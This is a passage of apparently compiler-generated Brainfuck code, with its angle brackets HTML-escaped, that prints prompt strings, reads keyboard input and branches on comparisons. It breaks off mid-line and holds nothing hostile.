;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]++&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;[&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;gt;+++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;+++.&amp;gt;++++[-&amp;lt;++++&amp;gt;]&amp;lt;+.-------.&amp;gt;+++[-&amp;lt;++++++&amp;gt;]&amp;lt;+.&amp;gt;+++++++[-&amp;lt;------------&amp;gt;]&amp;lt;.&amp;gt;++++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;+.++++++++++.&amp;gt;+++++++++[-&amp;lt;---------&amp;gt;]&amp;lt;--.&amp;gt;+++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;.------------.---.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;---.&amp;gt;+++++[-&amp;lt;+++++++++++++++&amp;gt;]&amp;lt;.------.&amp;gt;++++[-&amp;lt;+++++&amp;gt;]&amp;lt;.&amp;gt;++++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;-.&amp;gt;++++++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;+.&amp;gt;+++[-&amp;lt;++++++&amp;gt;]&amp;lt;+.&amp;gt;+++++++[-&amp;lt;------------&amp;gt;]&amp;lt;.&amp;gt;++++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;+.+++++.----------.+.&amp;gt;+++[-&amp;lt;++++++&amp;gt;]&amp;lt;+.&amp;gt;++++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;.[-]&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;++++++++++&amp;lt;&amp;lt;[-&amp;gt;+&amp;gt;-[&amp;gt;+&amp;gt;&amp;gt;]&amp;gt;[+[-&amp;lt;+&amp;gt;]&amp;gt;+&amp;gt;&amp;gt;]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;]&amp;gt;&amp;gt;[-]&amp;gt;&amp;gt;&amp;gt;++++++++++&amp;lt;[-&amp;gt;-[&amp;gt;+&amp;gt;&amp;gt;]&amp;gt;[+[-&amp;lt;+&amp;gt;]&amp;gt;+&amp;gt;&amp;gt;]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;]&amp;gt;[-]&amp;gt;&amp;gt;[&amp;gt;++++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;.&amp;lt;&amp;lt;+&amp;gt;+&amp;gt;[-]]&amp;lt;[&amp;lt;[-&amp;gt;-&amp;lt;]++++++[-&amp;gt;++++++++&amp;lt;]&amp;gt;.[-]]&amp;lt;&amp;lt;++++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;.[-]&amp;lt;&amp;lt;[-&amp;lt;+&amp;gt;]&amp;lt;&amp;lt;&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;gt;+++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;.&amp;gt;++++[-&amp;lt;-------------&amp;gt;]&amp;lt;-.[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]&amp;gt;[-]&amp;gt;&amp;lt;,&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;&amp;lt;,&amp;gt;[-]++++++++++&amp;gt;&amp;lt;&amp;lt;[-&amp;gt;-&amp;lt;]&amp;gt;[&amp;lt;+&amp;gt;[-]]&amp;lt;[[-]&amp;gt;&amp;lt;,&amp;gt;[-]++++++++++&amp;gt;&amp;lt;&amp;lt;[-&amp;gt;-&amp;lt;]&amp;gt;[&amp;lt;+&amp;gt;[-]]&amp;lt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;+[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]++&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;]&amp;lt;[-]+&amp;gt;&amp;lt;&amp;gt;[-]&amp;lt;&amp;lt;[-]&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;+&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;&amp;gt;&amp;lt;&amp;gt;[-]&amp;gt;&amp;lt;&amp;gt;[-]&amp;lt;&amp;lt;[-]&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;+&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]++&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;[&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]&amp;lt;[&amp;gt;&amp;gt;[-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;][-]&amp;gt;[-]++++++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;-][-]&amp;lt;[&amp;gt;&amp;gt;[-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;][-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;[&amp;lt;+&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;-&amp;gt;&amp;gt;]&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;gt;+&amp;lt;&amp;lt;[-]]&amp;gt;[&amp;gt;+&amp;lt;[-]]&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;[[-]&amp;gt;&amp;lt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;&amp;gt;&amp;lt;[-]]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;+[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]++&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;]&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;gt;[-]+&amp;lt;[&amp;gt;-&amp;lt;[-]]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[[-]&amp;gt;[-]&amp;lt;&amp;gt;++++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;+.&amp;gt;+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;+.++++++.&amp;gt;+++++++[-&amp;lt;------------&amp;gt;]&amp;lt;-.&amp;gt;++++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;.-------.&amp;gt;+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;.&amp;gt;++++[-&amp;lt;----&amp;gt;]&amp;lt;-.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;---.&amp;gt;++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;+++.+++++++++.++++++.&amp;gt;+++[-&amp;lt;-----&amp;gt;]&amp;lt;.+++++++++++++.-------------.-.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;--.&amp;gt;++++++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;+.+++++++++++++.&amp;gt;++++++[-&amp;lt;-------------&amp;gt;]&amp;lt;.&amp;gt;++++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;+.+++++.++++++++.&amp;gt;+++[-&amp;lt;-------&amp;gt;]&amp;lt;.+++++++++++.---.-----.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;--.&amp;gt;+++++[-&amp;lt;+++++++++++++++&amp;gt;]&amp;lt;.------.&amp;gt;++++[-&amp;lt;+++++&amp;gt;]&amp;lt;.&amp;gt;++++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;-.&amp;gt;+++++++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;+.&amp;gt;++++[-&amp;lt;----&amp;gt;]&amp;lt;-.+++++++++++++.-------.--.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;--.&amp;gt;+++[-&amp;lt;-------&amp;gt;]&amp;lt;--.[-]][-]&amp;gt;[-]&amp;lt;&amp;gt;+++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;.&amp;gt;+++++[-&amp;lt;++++++&amp;gt;]&amp;lt;.+++++++.&amp;gt;++++[-&amp;lt;----&amp;gt;]&amp;lt;.+++++.-------.&amp;gt;+++++++[-&amp;lt;----------&amp;gt;]&amp;lt;-.&amp;gt;+++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;.-----.&amp;gt;++++++[-&amp;lt;-------------&amp;gt;]&amp;lt;-.&amp;gt;++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;++.+.--.++++++++++++.-----------.+.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;---.&amp;gt;+++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;.------------.---.&amp;gt;++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;---.&amp;gt;+++++++[-&amp;lt;++++++++++&amp;gt;]&amp;lt;.++++++.-----------.++++++.&amp;gt;+++++++[-&amp;lt;--------&amp;gt;]&amp;lt;-..&amp;gt;++++++[-&amp;lt;------&amp;gt;]&amp;lt;.&amp;gt;[-]&amp;gt;&amp;lt;&amp;gt;[-]&amp;lt;&amp;lt;[-]&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;+&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]&amp;gt;[-]+++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;[&amp;gt;&amp;lt;[-]&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;-][-]&amp;lt;[&amp;gt;&amp;gt;[-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;][-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;-][-]++&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;gt;&amp;gt;[-]+&amp;lt;[&amp;gt;-&amp;lt;[-]]&amp;gt;[&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;gt;++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;+++.&amp;gt;+++++[-&amp;lt;+++++++++&amp;gt;]&amp;lt;..---.+++.&amp;gt;+++++++++[-&amp;lt;---------&amp;gt;]&amp;lt;-.+++++++++++++.-------------.&amp;gt;++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;.&amp;gt;++++++[-&amp;lt;++++++&amp;gt;]&amp;lt;+.+++++++++++++.-------------.++++++++++.----------.++++++.-.&amp;gt;++++++[-&amp;lt;-------------&amp;gt;]&amp;lt;.&amp;gt;++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;.&amp;gt;+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;++.&amp;gt;++++++++[-&amp;lt;-----------&amp;gt;]&amp;lt;-.&amp;gt;+++++++++[-&amp;lt;++++++++++&amp;gt;]&amp;lt;.&amp;gt;+++[-&amp;lt;-------&amp;gt;]&amp;lt;.+++++++++++++.---.&amp;gt;++++++++++[-&amp;lt;----------&amp;gt;]&amp;lt;-.[]&amp;gt;-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-&amp;gt;-&amp;gt;+&amp;lt;[-&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;]&amp;gt;&amp;gt;&amp;gt;&amp;gt;[-&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;gt;[-]+&amp;lt;[&amp;gt;-&amp;lt;[-]]&amp;gt;[&amp;lt;&amp;lt;+&amp;lt;[-&amp;lt;+&amp;gt;]&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[-]&amp;lt;[&amp;gt;&amp;gt;[-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;&amp;lt;&amp;gt;[&amp;lt;-&amp;gt;-]&amp;lt;&amp;lt;&amp;gt;.&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;+[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-][-]&amp;gt;[-]+++++[-&amp;lt;++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;gt;&amp;gt;[-]&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;[-]&amp;lt;&amp;lt;[&amp;gt;&amp;gt;+&amp;gt;+&amp;lt;&amp;lt;&amp;lt;-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]+&amp;gt;[[-]&amp;lt;-&amp;lt;&amp;lt;-&amp;gt;&amp;gt;&amp;gt;]&amp;lt;&amp;lt;-]&amp;lt;[-]&amp;gt;&amp;gt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;&amp;lt;]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&a